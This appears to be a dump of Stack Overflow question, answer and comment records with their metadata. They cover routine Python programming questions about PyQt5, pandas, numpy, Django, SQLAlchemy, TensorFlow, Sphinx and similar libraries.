has body: When I run the code below, it shows the below. Why isn't x 'x' but becomes a boolean? This happens only to the first argument passed into the function called with lambda. false y /home/me/model/some_file from PyQt5.QtWidgets import QPushButton modelpath = '/home/me/model' filelist = os.listdir(modelpath) x = 'x' y = 'y' def HelloWidget(QWidget): def __init__(self): for file in filelist: button = QPushButton(file) button.clicked.connect(lambda x=x,y=y,file=file: self.myfunction(x,y,file) def myfunction(self,x,y,file): print(x) print(y) print(file)
tagged with: pyqt5
tagged with: qpushbutton
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/47368511
duplicate of: http://stackoverflow.com/q/44474805
has answer: http://stackoverflow.com/a/47368511
answer count: 1
downvote count: 0
upvote count: 1
tagged with: python

http://stackoverflow.com/a/47362725
downvote count: 0
answers question: http://stackoverflow.com/q/47362724
has body: This actually happens to me due to Avast antivirus's Behavior Shield. If you google it you find out that Avast has a long history of "hating" Python: https://www.google.co.id/search?q=avast+python Solution: Avast > Settings > Components > Behavior Shield > Exclusions, then add your python.exe or your virtualenv's python.exe there:
type: Answer
upvote count: 2
score: 2

http://stackoverflow.com/q/47321639
has comment: http://stackoverflow.com/comment/81596974
score: 0
tagged with: xlrd
answer count: 0
has body: I have a xml document and i have xsd file for this . Now i want to generate the xml file based on the excel input. Issue i am facing when xml document has multiple element nodes. I am not getting idea how to handle this part as excel Import xml is not handle this type of structure. Is VBA will help here ? Any hint/idea will helpfull. XML Document: <?xml version="1.0"?> <Sample> <Sample-List> 3342 3342 TypeC xxx SAM AAAA-1 AAAA-2 Active 1 4 <Vendor-Type-depends-on> AAAA-3 AAAA-4 AAAA-5 AAAA-6 AAAA-7 AAAA-8 AAAA-9 </Vendor-Type-depends-on> BBBB-1 BBBB-2 Active 1 4 CCCC-1 CCCC-2 Active 1 4 DDDD-1 DDDD-2 Active 1 4 <Vendor-Type-depends-on> DDDD-3 DDDD-4 DDDD-5 DDDD-6 DDDD-7 DDDD-8 DDDD-9 </Vendor-Type-depends-on> XSD Document: <xs:schema attributeFormDefault="unqualified" elementFormDefault="qualified" xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="Sample"> <xs:complexType> <xs:sequence> <xs:element name="Sample-List"> <xs:complexType> <xs:sequence> <xs:element type="xs:short" name="Id"/> <xs:element type="xs:short" name="Version"/> <xs:element type="xs:string" name="Name"/> <xs:element name="Vendor"> <xs:complexType> <xs:sequence> <xs:element type="xs:string" name="Vendor-Id"/> <xs:element type="xs:string" name="Vendor-Name"/> <xs:element name="Vendor-Type" maxOccurs="unbounded" minOccurs="0"> <xs:complexType> <xs:sequence> <xs:element type="xs:string" name="Vendor-Type-Id"/> <xs:element type="xs:string" name="Vendor-Type-Code"/> <xs:element type="xs:string" name="Vendor-Type-Mode"/> <xs:element type="xs:byte" name="Vendor-Type-AC-Min"/> <xs:element type="xs:byte" name="Vendor-Type-AC-Max"/> <xs:element name="Vendor-Type-depends-on" minOccurs="0"> <xs:complexType> <xs:sequence> <xs:element type="xs:string" name="EMP-Code"/> <xs:element type="xs:string" name="EMP-Id"/> <xs:element type="xs:string" name="EMP-Name"/> <xs:element name="EMP-Details" maxOccurs="unbounded" minOccurs="0"> <xs:complexType> <xs:sequence> <xs:element type="xs:string" name="Propert…
tagged with: vba
tagged with: excel
type: Question
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81597837
has title: Better Way to create XML for inherit xml node from excel
tagged with: python
tagged with: http://stackoverflow.com/tag/xml

http://stackoverflow.com/comment/81676665
type: AnswerComment
has text: @James I am no catch this (ignore spaces)
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47361810

http://stackoverflow.com/q/47267826
upvote count: 1
favorite count: 0
tagged with: python-3.x
tagged with: median
has answer: http://stackoverflow.com/a/47268420
score: 1
has title: Python: average of dictionary key values over panda values
tagged with: python
has body: I have a rather complex data structure, namely dictionaries in a panda dataframe. Lets say I have this dataframe. trials_ = [1,2,1,2] stimul_ = [1,1,2,2] data_ = [[{'peak_voltage': [30.5, 65], 'Spikecount': [2]}], [{'peak_voltage': [30.5, 65, 30], 'Spikecount': [3]}], [{'peak_voltage': [20.1], 'Spikecount': [1]}], 'NaN'] featve = pd.DataFrame({'trial': trials_, 'stimulus': stimul_, 'data': data_}) featve data stimulus trial 0 [{'peak_voltage': [30.5, 65], 'Spikecount': [2]}] 1 1 1 [{'peak_voltage': [30.5, 65, 30], 'Spikecount'... 1 2 2 [{'peak_voltage': [20.1], 'Spikecount': [1]}] 2 1 3 NaN 2 2 I now want to calculate the median and 25% / 75% quartiles of each key element of my dictionaries in my 'data' column (here peak_voltage and Spikecount) for each stimulus over all trials. One example for the median: I want the median peak_voltage value when stimulus 1 was applied across all trials [30.5, 65, 20.1] -> 30.5. The same for when stimulus two was applied [30.5, 65, 30, NaN] -> 30.5. And of course the same for Spikecount. To be honest, I've no idea where to start. If I only wanted to calculate the median regardless of the simulus, I would simply use. featve.data.median But this is not what I want. Also, if I didn't have dictionaries but only numbers, I would have used something like featve.groupby('stimulus').data.apply(np.nanmedian) But what can I do in my case with dictionaries in a panda table? EDIT 1 I have 10 stimuli with 16 trials each, resulting in 160 rows in total. The dictionaries are the output of a toolbox called EFEL that I use to find certain characteristics of my data traces (e.g. the timing of peaks of neuronal action potentials). I decided to organize the resulting 160 dictionaries in a panda dataframe to keep track of the data, stimuli and trials at the same time. I don't know if this is unfortunate in the first place.
tagged with: dictionary
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/47268711
tagged with: pandas
type: UnansweredQuestion
downvote count: 0

http://stackoverflow.com/comment/81415914
has text: Is that **all** the js/html code? I assume you must be using this with web-engine in pyqt. Can you show how you are loading the html, and exactly how you are using `runJavaScript()`?
type: Comment
comment on: http://stackoverflow.com/q/47232179
type: QuestionComment
score: 0

http://stackoverflow.com/comment/113978426
has text: `basename("/a/b/c.txt")` returns c.txt, WITH extension.
comment on: http://stackoverflow.com/a/47319353
score: 5
type: AnswerComment
type: Comment

http://stackoverflow.com/q/47251471
upvote count: 2
has body: Suppose I have a dataframe with n rows: Index data1 data2 data3 0 x0 x0 x0 1 x1 x1 x1 2 x2 x2 x2 ... n xn xn xn How do I create a new dataframe (using pandas) with k copies of each row appended to itself: Index data1 data2 data3 0 x0 x0 x0 1 x0 x0 x0 ... k-1 x0 x0 x0 k x1 x1 x1 k+1 x1 x1 x1 ... 2k-1 x1 x1 x1 2k x2 x2 x2 ...
has answer: http://stackoverflow.com/a/47253837
type: UnansweredQuestion
downvote count: 0
has answer: http://stackoverflow.com/a/47251536
favorite count: 0
type: Question
has title: Create a new dataframe with k copies of each row appended to itself
tagged with: pandas
has answer: http://stackoverflow.com/a/47251735
tagged with: python
score: 2
answer count: 3

http://stackoverflow.com/q/47246540
favorite count: 0
has title: How to draw a line from two points and then let the line complete drawing until reaching a contour point with opencv, python?
type: Question
tagged with: opencv
has body: I am using opencv and python for programming and I am trying to draw a line between two points that I know their coordinates, and then let the line complete until it reaches the end of the contour as shown in the image bellow. The contour in my case is actually of an image face, but I have provided a circle here for explanation. So what I am trying to achieve is to get the edge of the head at that point intersecting with the line and contour. Is there a way to draw a line from two points and then let the line complete drawing until reaching the contour?
accepted answer: http://stackoverflow.com/a/47248298
has answer: http://stackoverflow.com/a/47248298
tagged with: python
has comment: http://stackoverflow.com/comment/81536975
has comment: http://stackoverflow.com/comment/81562358
tagged with: draw
type: AnsweredQuestion
tagged with: contour
upvote count: 2
score: 1
has comment: http://stackoverflow.com/comment/81557021
answer count: 1
has comment: http://stackoverflow.com/comment/81460329
has comment: http://stackoverflow.com/comment/81560708
downvote count: 1
tagged with: line
linked to: http://stackoverflow.com/q/32328179

http://stackoverflow.com/q/47301472
linked to: http://stackoverflow.com/q/1494492
tagged with: python
tagged with: plot
tagged with: tree
type: AnsweredQuestion
score: 0
answer count: 1
accepted answer: http://stackoverflow.com/a/47309717
has answer: http://stackoverflow.com/a/47309717
has comment: http://stackoverflow.com/comment/81554934
has title: Webgraphviz output does not wrap around the page for decision tree
has body: I need the image of the complete tree that I generated but it does not wrap around neither there is a download or save image option. The only remaining option is to take a screenshot which doesn't capture the entire tree. How do I get the entire tree? I've generated a tree using this method in Spyder #Displaying the decision tree from sklearn import tree #from StringIO import StringIO from io import StringIO #from StringIO import StringIO with open("classifier.txt", "w") as f: f = tree.export_graphviz(classifier, out_file=f) This generates a file classifer.txt which when copied and pasted into http://webgraphviz.com/ generates a decision tree Here is the image of the output The snapshot has zoomed out to the maximum possible extent.
type: Question

http://stackoverflow.com/comment/81590223
type: QuestionComment
has text: @Linus Keep in mind that broadcasting is 3X faster than intersect1d on larger data, but consumes more memory.
score: 0
comment on: http://stackoverflow.com/q/47319404
type: Comment

http://stackoverflow.com/q/47228219
has title: Sqlalchemy full text search with multiple columns and partial search in postgresql
tagged with: python
has body: I have searched a lot about this but I have not founded the best solution yet. Suppose We have following Table: Class User(DeclarativeBase): __tablename__ = 'users' id = Column(Integer, primary_key=True) first_name = Column(String) last_name = Column(String) description = Column(String) with users: Andy | Johnson | blah blah blah Andress | Bush | blah blah The search should be includes first_name, last_name and description columns. I want to search ohns query and in my result, I want to somehow know what is the column that is matched and somehow the result is matched by exact matching or partial matching? I have tried single ts_vector with 3 mentioned columns, but I could not extract more details about search results. Should I somehow combine full text with pg_trgm functions?
has answer: http://stackoverflow.com/a/47420945
type: AnsweredQuestion
score: 2
upvote count: 2
answer count: 1
downvote count: 0
tagged with: full-text-search
tagged with: sqlalchemy
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/47420945
tagged with: postgresql

http://stackoverflow.com/q/47268661
tagged with: django
tagged with: python
has title: How to change djangos default User Creation Form
score: 0
answer count: 1
type: Question
tagged with: django-admin
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47268864
has body: I extended the Django User Model and added a required ForeignKeyField called company. Now I also need to Change the default user creation Form. What I tried so far was: Creating a new Form that Inherits from the default UserCreationForm form: class MyUserCreationForm(UserCreationForm): company = forms.ModelChoiceField(queryset=Company.objects.all()) class Meta: model = MyUser fields = ('username', 'company') Adding it to my extended Django Admin: class ExtendedUserAdmin(UserAdmin): add_form = MyUserCreationForm ... admin.site.register(MyUser, ExtendedUserAdmin) This does not work. What am I missing?

http://stackoverflow.com/comment/81680474
type: Comment
type: QuestionComment
has text: Me neither. Can you add the full error message (at least including which line causes the error)?
score: 0
comment on: http://stackoverflow.com/q/47334454

http://stackoverflow.com/a/73777046
type: Answer
downvote count: 0
answers question: http://stackoverflow.com/q/47246668
score: 1
upvote count: 1
has body: This can be solved by numpy: import numpy as np x = 'A3G3A' if not x[-1].isdigit(): x += '1' letters = list(x[::2]) times = list(map(int,x[1::2])) lst = ''.join(np.repeat(letters, times)) #output 'AAAGGGA'

http://stackoverflow.com/comment/81399430
comment on: http://stackoverflow.com/q/47224719
score: 0
has text: `print("carbon fiber reinforced polymer composite brake booster")`
type: Comment
type: QuestionComment

http://stackoverflow.com/a/47225094
downvote count: 0
has comment: http://stackoverflow.com/comment/81400119
score: 1
upvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/81400149
answers question: http://stackoverflow.com/q/47224818
has body: In a more generic way, assuming that both the location of "Carrot" and "Tomato" is not fixed, but "Carrot" will always come before "Tomato", you can do something like this: with open('file.txt') as temp_file: lines = [line.rstrip() for line in temp_file] lines[lines.index("Carrot"):lines.index("Tomato")+1] In case you could not tell which value comes first (Tomato or Carrot), you can let Python figure it out for you: with open('file.txt') as temp_file: lines = [line.rstrip() for line in temp_file] carrot_idx = lines.index("Carrot") tomato_idx = lines.index("Tomato") lines[min(carrot_idx,tomato_idx):max(carrot_idx,tomato_idx)+1]

http://stackoverflow.com/comment/81452019
comment on: http://stackoverflow.com/q/47250816
has text: Also, why do `elif len(fn1) <3`. You just tested `if len(fn1) >= 3`, so if that's false then `len(fn1) <3` _must_ be true. And `username.join''` is wrong, I suspect you meant `''.join(username)`.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/89537367
comment on: http://stackoverflow.com/q/47283385
has text: @Tehseen Can you share the original image containing clouds?
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47279261
type: Question
has answer: http://stackoverflow.com/a/47279363
has comment: http://stackoverflow.com/comment/81509104
score: 1
favorite count: 0
has title: 2D argmax on a numpy array
tagged with: numpy
accepted answer: http://stackoverflow.com/a/47279363
has comment: http://stackoverflow.com/comment/81509140
type: AnsweredQuestion
tagged with: arrays
downvote count: 0
has comment: http://stackoverflow.com/comment/81509118
upvote count: 1
tagged with: python
answer count: 1
has body: Starting with a numpy array v: v = \ np.array([[0, 0, 0, 0, 0], [0, 0, 1, 0, 0], [1, 0, 0, 0, 0], [0, 1, 0, 0, 0], [0, 0, 1, 0, 1], [0, 0, 0, 0, 1], [0, 0, 0, 1, 1]]) I want to find the first non-zero value in each column and multiply those values by 100. My desired result is: array([[ 0, 0, 0, 0, 0], [ 0, 0, 100, 0, 0], [100, 0, 0, 0, 0], [ 0, 100, 0, 0, 0], [ 0, 0, 1, 0, 100], [ 0, 0, 0, 0, 1], [ 0, 0, 0, 100, 1]]) I thought to approach this problem by taking the argmax along each axis: i = v.argmax(0) j = v.argmax(1) v[i, j] *= 100 I know I'm not using i and j correctly, so how can I fix this?
has comment: http://stackoverflow.com/comment/81509071

http://stackoverflow.com/q/47339611
type: Question
possible better answer: http://stackoverflow.com/a/47339761
tagged with: pandas
has answer: http://stackoverflow.com/a/47339761
has body: On one side I have a massive df: df1 A B C .... 2005-11-01 5.3 22 6 2005-11-02 5.4 21 4 2005-11-03 5.2 17 7 .... On the other hand I have a smaller df with the following structure; df2 date A 2005-11-02 B 2005-11-01 C 2005-11-03 What I am looking forward to is to add an additional column in df2 called price which loops over each index value and column value from df2 and look for the corresponding prices in df . The desired output would be something like this: date price A 2005-11-02 5.4 B 2005-11-01 22 C 2005-11-03 7 I tried : prices=[] for index,column in df2: prices.append(df.loc[column['date'][i],index.iloc[i]]) i+=1 return prices However returns this undesired output. ValueError: too many values to unpack (expected 2) Could anyone tell me how could I loop through df based on the index and column from df2
tagged with: python
type: AnsweredQuestion
score: 0
has title: Looping for specific values on a df
answer count: 2
accepted answer: http://stackoverflow.com/a/47339655
has answer: http://stackoverflow.com/a/47339655

http://stackoverflow.com/comment/81662184
score: 0
comment on: http://stackoverflow.com/a/47354567
type: Comment
type: AnswerComment
has text: Josh thanks for your response, "and possibly use clever techniques to avoid wasting CPU on decoding images and laying out CSS" thats what I'm wondering. Is it fair to say the "page render" is actually 91 (in your case) http gets? If so I wonder then if its possible to just download 91 pages rather than actually execute the javascript and such?

http://stackoverflow.com/q/47361922
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/59170416
type: UnansweredQuestion
has title: Tensorflow reuse variables in different name scope
tagged with: python
tagged with: recurrent-neural-network
score: 2
has body: I've got the problem of reuse variable in different name scope. The code below separate source embedding and target embedding in two different spaces, What I want to do is to put source and target in the same space, reusing the variables in lookup table. ''' Applying bidirectional encoding for source-side inputs and first-word decoding. ''' def decode_first_word(self, source_vocab_id_tensor, source_mask_tensor, scope, reuse): with tf.name_scope('Word_Embedding_Layer'): with tf.variable_scope('Source_Side'): source_embedding_tensor = self._src_lookup_table(source_vocab_id_tensor) with tf.name_scope('Encoding_Layer'): source_concated_hidden_tensor = self._encoder.get_biencoded_tensor(\ source_embedding_tensor, source_mask_tensor) with tf.name_scope('Decoding_Layer_First'): rvals = self.decode_next_word(source_concated_hidden_tensor, source_mask_tensor, \ None, None, None, scope, reuse) return rvals + [source_concated_hidden_tensor] ''' Applying one-step decoding. ''' def decode_next_word(self, enc_concat_hidden, src_mask, cur_dec_hidden, \ cur_trg_wid, trg_mask=None, scope=None, reuse=False, \ src_side_pre_act=None): with tf.name_scope('Word_Embedding_Layer'): with tf.variable_scope('Target_Side'): cur_trg_wemb = None if None == cur_trg_wid: pass else: cur_trg_wemb = self._trg_lookup_table(cur_trg_wid) I want to make them as follows ,so there will only be one embedding node in the whole graph: def decode_first_word_shared_embedding(self, source_vocab_id_tensor, source_mask_tensor, scope, reuse): with tf.name_scope('Word_Embedding_Layer'): with tf.variable_scope('Bi_Side'): source_embedding_tensor = self._bi_lookup_table(source_vocab_id_tensor) with tf.name_scope('Encoding_Layer'): source_concated_hidden_tensor = self._encoder.get_biencoded_tensor(\ source_embedding_tensor, source_mask_tensor) with tf.name_scope('Decoding_Layer_First'): rvals = self.decode_next_word_shared_embedding(source_concated_hidden_tensor, source_mask_tensor, \ None, None, None, scope, reuse) re…
has answer: http://stackoverflow.com/a/47391126
answer count: 2
upvote count: 2
downvote count: 0
tagged with: tensorflow

http://stackoverflow.com/comment/118260548
type: Comment
has text: Thanks a ton! Also, you can use `--hidden-import` as many times as needed.
type: AnswerComment
score: 2
comment on: http://stackoverflow.com/a/51304514

http://stackoverflow.com/q/47377222
possible better answer: http://stackoverflow.com/a/53074639
answer count: 2
tagged with: neural-network
tagged with: machine-learning
has body: I am learning the neural network and I want to write a function cross_entropy in python. Where it is defined as: where N is the number of samples, k is the number of classes, log is the natural logarithm, t_i,j is 1 if sample i is in class j and 0 otherwise, and p_i,j is the predicted probability that sample i is in class j. To avoid numerical issues with logarithm, clip the predictions to [10^{−12}, 1 − 10^{−12}] range. According to the above description, I wrote down the codes by clipping the predictions to [epsilon, 1 − epsilon] range, then computing the cross_entropy based on the above formula: def cross_entropy(predictions, targets, epsilon=1e-12): &quot;&quot;&quot; Computes cross entropy between targets (encoded as one-hot vectors) and predictions. Input: predictions (N, k) ndarray targets (N, k) ndarray Returns: scalar &quot;&quot;&quot; predictions = np.clip(predictions, epsilon, 1. - epsilon) ce = - np.mean(np.log(predictions) * targets) return ce The following code will be used to check if the function cross_entropy are correct: predictions = np.array([[0.25,0.25,0.25,0.25], [0.01,0.01,0.01,0.96]]) targets = np.array([[0,0,0,1], [0,0,0,1]]) ans = 0.71355817782 #Correct answer x = cross_entropy(predictions, targets) print(np.isclose(x,ans)) The output of the above codes is False, that to say my codes for defining the function cross_entropy is not correct. Then I print the result of cross_entropy(predictions, targets). It gave 0.178389544455 and the correct result should be ans = 0.71355817782. Could anybody help me to check what is the problem with my codes?
tagged with: python
has answer: http://stackoverflow.com/a/47398312
score: 25
type: AnsweredQuestion
tagged with: cross-entropy
tagged with: deep-learning
downvote count: 0
has answer: http://stackoverflow.com/a/53074639
upvote count: 25
accepted answer: http://stackoverflow.com/a/47398312
favorite count: 0
type: Question
has title: What is the problem with my implementation of the cross-entropy function?

http://stackoverflow.com/q/47309392
has body: I'm trying to use Sphinx to document one base class and 2 child classes with google style docstring classes. I'm particularly stuggling with inherited attributes: class Base(object): """Base class. Attributes: a (int): one attribute b (int): another one """ def __init__(self): self.a = 3 self.b = 5 class FirstChild(Base): """First Child of Base. Attributes: c (float): child class attribute """ def __init__(self): self.c = 3.1 class SecondChild(Base): """Second Child of Base.""" pass Here is the rst file: .. automodule:: my_package.my_module :members: :undoc-members: :show-inheritance: :inherited-members: Sphinx displays attributes a and b only on class Base. In FirstChild, there is only c, and no attribute in SecondChild, even with the :inherited-members: tag. Is there a way to have a, b and c displayed in the child classes without having to copy/paste descriptions in FirstChild/SecondChild docstrings ? Thanks!
upvote count: 7
answer count: 1
downvote count: 1
favorite count: 0
type: Question
has title: Inherited attributes in docstring not displayed
has answer: http://stackoverflow.com/a/64830078
type: UnansweredQuestion
tagged with: python-sphinx
has comment: http://stackoverflow.com/comment/81599599
score: 6
tagged with: autodoc
tagged with: python

http://stackoverflow.com/comment/81580566
score: 0
type: AnswerComment
has text: Wow thank you for going above and beyond with the extra info about FuncAnimation
comment on: http://stackoverflow.com/a/47306408
type: Comment

http://stackoverflow.com/q/47256340
type: Question
linked to: http://stackoverflow.com/q/46139389
tagged with: reactjs
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81469485
tagged with: python
tagged with: flask
has body: I am practicing Flask + React in this repo. I currently have the same issue, I am unable to pass variables from Flask to React components through props. I have found this older post but it didn't provide more insight. My code boils down to: server.py def index(): return render_template('index.html', bar='hello') index.jsx ReactDOM.render(&lt;App foo={ bar } /&gt;, document.getElementById('content')); Console Error index.jsx?3769:5 Uncaught ReferenceError: bar is not defined What is the appropriate way of passing information from the server to the components? Thank you very much in advance UPDATE I figured out a solution, here are the changes. Is that the "scotch-taped" way of passing data? or that is as good as it gets?
downvote count: 0
has title: Flask: passing Python variables on the server to React component
has answer: http://stackoverflow.com/a/47265257
has comment: http://stackoverflow.com/comment/81478918
score: 1
upvote count: 1
answer count: 1
favorite count: 0

http://stackoverflow.com/comment/81506009
has text: I have tried to run command: pip uninstall pytesseract and then run pip install pytesseract but it still has error. I am using windows 8.1 and python 3.6. What should I do now? Can you help me?
comment on: http://stackoverflow.com/q/47277066
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81689592
type: AnswerComment
comment on: http://stackoverflow.com/a/47312967
score: 0
has text: Hi Dan. I tried switching to Java, but I'm running into the same issue. Strange thing is that sometimes the pipeline runs successfully, and sometimes it will just fail with this error message. I believe this is a write rate issue, that happens when writing to Datastore Kinds that have indexes. I'm looking for a way to control the write rate to DataStore, but can't find anything online. Any clue ?
type: Comment

http://stackoverflow.com/q/47361342
tagged with: exception
tagged with: rollback
has comment: http://stackoverflow.com/comment/81675832
has comment: http://stackoverflow.com/comment/81675670
tagged with: python
has body: First time using Transactions in MySQL python 3.5.2 MySQL 5.7.16 SQL Alchemy I have looked at other questions/examples but cannot figure out why the below code does not function as expected for me. The second INSERT statement fails (intentionally for this example) and the exception handler should execute ROLLBACK. I would expect/desire the first INSERT statement to be removed from the database but it is still present. Please could someone provide me with the correct solution. def transaction(): conn.execute("SET autocommit = 0;") conn.execute("START TRANSACTION") try: conn.execute("""INSERT INTO ....""") conn.execute("""INSERT INTO .....""") # this one fails except: conn.execute("ROLLBACK") logging.warning('Exception SQL') else: conn.execute("COMMIT")
score: 0
tagged with: transactions
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81675721
has answer: http://stackoverflow.com/a/62860160
answer count: 1
tagged with: mysql
type: Question
has comment: http://stackoverflow.com/comment/81675759
has title: python / mysql - Transactions / Rollback not working
has comment: http://stackoverflow.com/comment/81675788

http://stackoverflow.com/comment/81566250
has text: It's allow_redirects with an underscore, not a hyphen.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47307992
type: Comment

http://stackoverflow.com/comment/81633822
type: Comment
type: QuestionComment
has text: Damn, try my_dict.k? That's where i could focus my efforts anyway.
comment on: http://stackoverflow.com/q/47340502
score: 0

http://stackoverflow.com/a/47391661
type: AcceptedAnswer
downvote count: 0
upvote count: 2
type: Answer
accepted answer of: http://stackoverflow.com/q/47371758
score: 2
has body: Your example shows that ImageTk does not handle well gray-scale images. But there are at least two workarounds to display correctly the pictures. The first is not to use ImageTk at all. Indeed, since Tk 8.6, PhotoImage can load PNG images: import tkinter window = tkinter.Tk() display = tkinter.PhotoImage(file='moon.png') label = tkinter.Label(window, image=display) label.pack() window.mainloop() But if you absolutely need to use ImageTk, you can change the mode of the picture to RGBA: import tkinter from PIL import Image, ImageTk window = tkinter.Tk() moon = Image.open('moon.png') moon.mode = 'RGBA' # force mode to RGBA display = ImageTk.PhotoImage(moon) label = tkinter.Label(window, image=display) label.pack() window.mainloop()
answers question: http://stackoverflow.com/q/47371758

http://stackoverflow.com/comment/81523116
score: 0
type: Comment
has text: use - soup.span['data-count']
type: QuestionComment
comment on: http://stackoverflow.com/q/47286646

http://stackoverflow.com/comment/81433778
type: Comment
comment on: http://stackoverflow.com/q/47240475
type: QuestionComment
has text: Which element is the one that is taking so long to find?
score: 0

http://stackoverflow.com/q/47277311
score: 0
has comment: http://stackoverflow.com/comment/81506628
has comment: http://stackoverflow.com/comment/81505724
answer count: 1
tagged with: nodes
type: Question
tagged with: binary-search-tree
has body: I understand how to insert using recursion. I also understand why this code doesn't work as expected because while I'm updating the variable "current" in the "insert" method, I'm only attaching the name label "current" to some node, copy that node to "current" and modify "current", but not the actual node in the binary search tree. So how can I actually modify the node in the binary search tree using the iterative concept here? And more generally speaking, how can I make a "shallow copy" to any object I created and actually modify that object? A "list" object in Python is an example that has the desired property. What code in "list" makes it behave this way? Thanks in advance. class Node: def __init__(self, data, left=None, right=None): self.data = data self.left = left self.right = right class BinarySearchTree: def __init__(self, root=None): self.root = root def insert(self, data): if self.root: current = self.root while current: if data &lt; current.data: current = current.left elif data &gt; current.data: current = current.right current = Node(data) else: self.root = Node(data) bst = BinarySearchTree() bst.insert(2) bst.insert(1) bst.insert(3)
tagged with: shallow-copy
type: UnansweredQuestion
has title: Python: actually modify a node in binary search tree instead of just attaching a label name
tagged with: python
has answer: http://stackoverflow.com/a/75829812
tagged with: copy

http://stackoverflow.com/comment/81586090
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47317393
score: 0
has text: I added inline.

http://stackoverflow.com/q/47323143
tagged with: toolz
tagged with: python
has body: If I import toolz using from toolz.curried import * then map will automatically becomes curried form, so map(func,[[1,2],[3,4]]) can be written as map(func)([[1,2],[3,4]]) but curried map always return an iterable. I way to define an curried lmap which always return list. But simple try lmap=compose(list,map) will not work, for example lmap(len)([[1,2],[3,4]]) will give --------------------------------------------------------------------------- TypeError Traceback (most recent call last) in () ----> 1 lmap(len)([[1,2],[3,4]]) C:\ProgramData\Anaconda3\lib\site-packages\toolz\functoolz.py in call(self, *args, **kwargs) 466 ret = self.first(*args, **kwargs) 467 for f in self.funcs: --> 468 ret = f(ret) 469 return ret 470 TypeError: 'curry' object is not iterable So how to define a curried lmap?
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/47398525
accepted answer: http://stackoverflow.com/a/47398525
type: Question
type: AnsweredQuestion
has title: How to make a curry version of map that always returns list using toolz
has answer: http://stackoverflow.com/a/58269675
possible better answer: http://stackoverflow.com/a/58269675

http://stackoverflow.com/q/47342083
tagged with: python-3.x
type: Question
answer count: 2
tagged with: python
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/6294179
has body: For example I have: l = [4, 1 ,3, 4, 7 , 4] if I use l.index(4) it returns back 0 How do I get it to return back 0, 3, 5?
has answer: http://stackoverflow.com/a/47342176
tagged with: pycharm
score: 0
has answer: http://stackoverflow.com/a/47342210
has comment: http://stackoverflow.com/comment/81636601
has title: How to find the different indexes of the same value?
has comment: http://stackoverflow.com/comment/81636329

http://stackoverflow.com/q/47372138
answer count: 1
favorite count: 0
type: Question
tagged with: pandas
has body: How can I efficiently implement a vectorized version of the "Modified Following" business day payment rule in Pandas? Background In finance it is often the case that fixed income coupons are paid on a "modified following" basis, that is, if the coupon date falls on a weekend or holiday, it is paid on the following business day, unless said following business day falls into the next calendar month, in which case we go backwards to the nearest previous business day. April 2017 Su Mo Tu We Th Fr Sa 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 April 2017 offers a good example. If a payment falls on say, Saturday 15th, it will be moved forward to Monday 17th. However if it falls on Saturday 29th, two weeks later, it will be moved backwards to Friday 28th (since the following Monday will be in May). I need to do this for thousands of dates at a time, hence I'd like it to be vectorised and pandas efficient if possible (that is, I'd like to avoid just running each date through an if-then-else). So given a vector of dates, it would check which fall on Sat/Sun and automatically apply the rule, outputting a vector of "modified following" dates.
tagged with: datetime
has title: "Modified following" business days in Pandas
has comment: http://stackoverflow.com/comment/81697547
upvote count: 4
score: 4
accepted answer: http://stackoverflow.com/a/47372603
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47372603
has comment: http://stackoverflow.com/comment/81697642
downvote count: 0
tagged with: python

http://stackoverflow.com/a/47382231
score: -1
has comment: http://stackoverflow.com/comment/81717152
accepted answer of: http://stackoverflow.com/q/47381865
type: AcceptedAnswer
downvote count: 1
answers question: http://stackoverflow.com/q/47381865
upvote count: 0
type: Answer
has body: You'll want to use .values to get the cell content: data = pd.read_csv('people_wiki.csv') obama = data.loc[data['name'].str.strip() == 'Barack Obama'] # This will give you a list of the cell contents for all of the matches: # one match: ['example cell content'] # two matches: ['example cell content 1', 'example cell content 2'] print(obama['text'].values) # You'll just need to specify which you want to use as a string print(obama['text'].values[0]

http://stackoverflow.com/q/47293410
has comment: http://stackoverflow.com/comment/81537761
has answer: http://stackoverflow.com/a/47293483
type: AnsweredQuestion
upvote count: 1
score: 1
possible better answer: http://stackoverflow.com/a/47293483
favorite count: 0
has body: I have a csv file and I want to transfer the raw data without the headers to a new csv file and have the rows and columns the same as the original. IRIS_data = "IRIS_data.csv" with open(IRIS_data, 'wb') as data: wr = csv.writer(data, quoting=csv.QUOTE_ALL) with open(IRIS) as f: next(f) for line in f: wr.writerow(line) The code above is my most recent attempt, when I try run it I get the following error: a bytes-like object is required, not 'str'
type: Question
accepted answer: http://stackoverflow.com/a/47293538
tagged with: http://stackoverflow.com/tag/csv
has title: How to write the contents of one CSV file to another
answer count: 2
downvote count: 0
tagged with: python
has answer: http://stackoverflow.com/a/47293538

http://stackoverflow.com/comment/81426479
has text: sir , it contains the information about the current tabs and their url
comment on: http://stackoverflow.com/q/47238165
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/q/47293045
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/81536998
has comment: http://stackoverflow.com/comment/81536790
tagged with: django-views
tagged with: python
has comment: http://stackoverflow.com/comment/81537037
score: 4
has comment: http://stackoverflow.com/comment/81537119
has answer: http://stackoverflow.com/a/47293701
has answer: http://stackoverflow.com/a/47293473
has comment: http://stackoverflow.com/comment/81537162
type: Question
upvote count: 4
has comment: http://stackoverflow.com/comment/81536763
has title: Django - How can I prevent access to other users' objects?
answer count: 2
linked to: http://stackoverflow.com/q/16053122
type: UnansweredQuestion
